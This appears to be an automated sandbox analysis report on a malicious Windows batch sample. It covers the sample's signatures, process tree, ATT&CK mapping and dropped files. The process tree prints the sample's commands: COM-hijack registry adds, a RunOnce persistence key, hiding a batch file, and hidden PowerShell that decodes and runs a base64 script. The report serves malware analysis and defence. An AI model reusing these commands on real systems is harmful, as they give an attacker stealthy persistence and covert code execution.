Analysis
- max time kernel
149s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
24/04/2026, 07:37
General
- Target _57d130846364c8268fcd873605d074923f1d8b233f4f0372d66c10ac34d15b19.bat
- Size 491KB
- Sample260424-jfvb3sbv9x
- SHA256 57d130846364c8268fcd873605d074923f1d8b233f4f0372d66c10ac34d15b19
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Adds Run key to start application 2 TTPs 1 IoCs
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_57d130846364c8268fcd873605d074923f1d8b233f4f0372d66c10ac34d15b19.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\_57d130846364c8268fcd873605d074923f1d8b233f4f0372d66c10ac34d15b19.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Order.bat"3⤵
- Views/modifies file attributes
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{3D3FFB58-71FF-A03C-4921-A96482821AD2}" /ve /t REG_SZ /d "System Shell Extension" /f3⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{3D3FFB58-71FF-A03C-4921-A96482821AD2}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f3⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{3D3FFB58-71FF-A03C-4921-A96482821AD2}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f3⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "order" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Order.bat\"" /f3⤵
- Adds Run key to start application
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Understand.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\MENTION.ps1' -Encoding UTF8"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -f "C:\Users\Admin\AppData\Local\Temp\MENTION.ps1"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ov5mums\1ov5mums.cmdline"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6721.tmp" "c:\Users\Admin\AppData\Local\Temp\1ov5mums\CSC76EFE74AEE94493296AED9E0AABAD7C3.TMP"5⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
1ov5mums.dll
MENTION.ps1
RES6721.tmp
Understand.tmp
Understand.tmp
__PSScriptPolicyTest_ob42gxlo.m41.ps1
Order.bat
1ov5mums.0.cs
1ov5mums.cmdline
CSC76EFE74AEE94493296AED9E0AABAD7C3.TMP
memory/220-145-0x00000223E88B0000-0x00000223E88BC000-memory.dmp
memory/988-148-0x000002EB153A0000-0x000002EB153AC000-memory.dmp
memory/1816-111-0x00000176EA940000-0x00000176EA950000-memory.dmp
memory/1816-119-0x00000176EA910000-0x00000176EA932000-memory.dmp
memory/1816-112-0x00000176EA940000-0x00000176EA950000-memory.dmp
memory/1816-125-0x00000176D2380000-0x00000176D238C000-memory.dmp
memory/3448-150-0x000001AD656D0000-0x000001AD656D8000-memory.dmp
memory/3448-151-0x000001AD63AA0000-0x000001AD63AAC000-memory.dmp
memory/3448-153-0x000001AD63AA0000-0x000001AD63AAC000-memory.dmp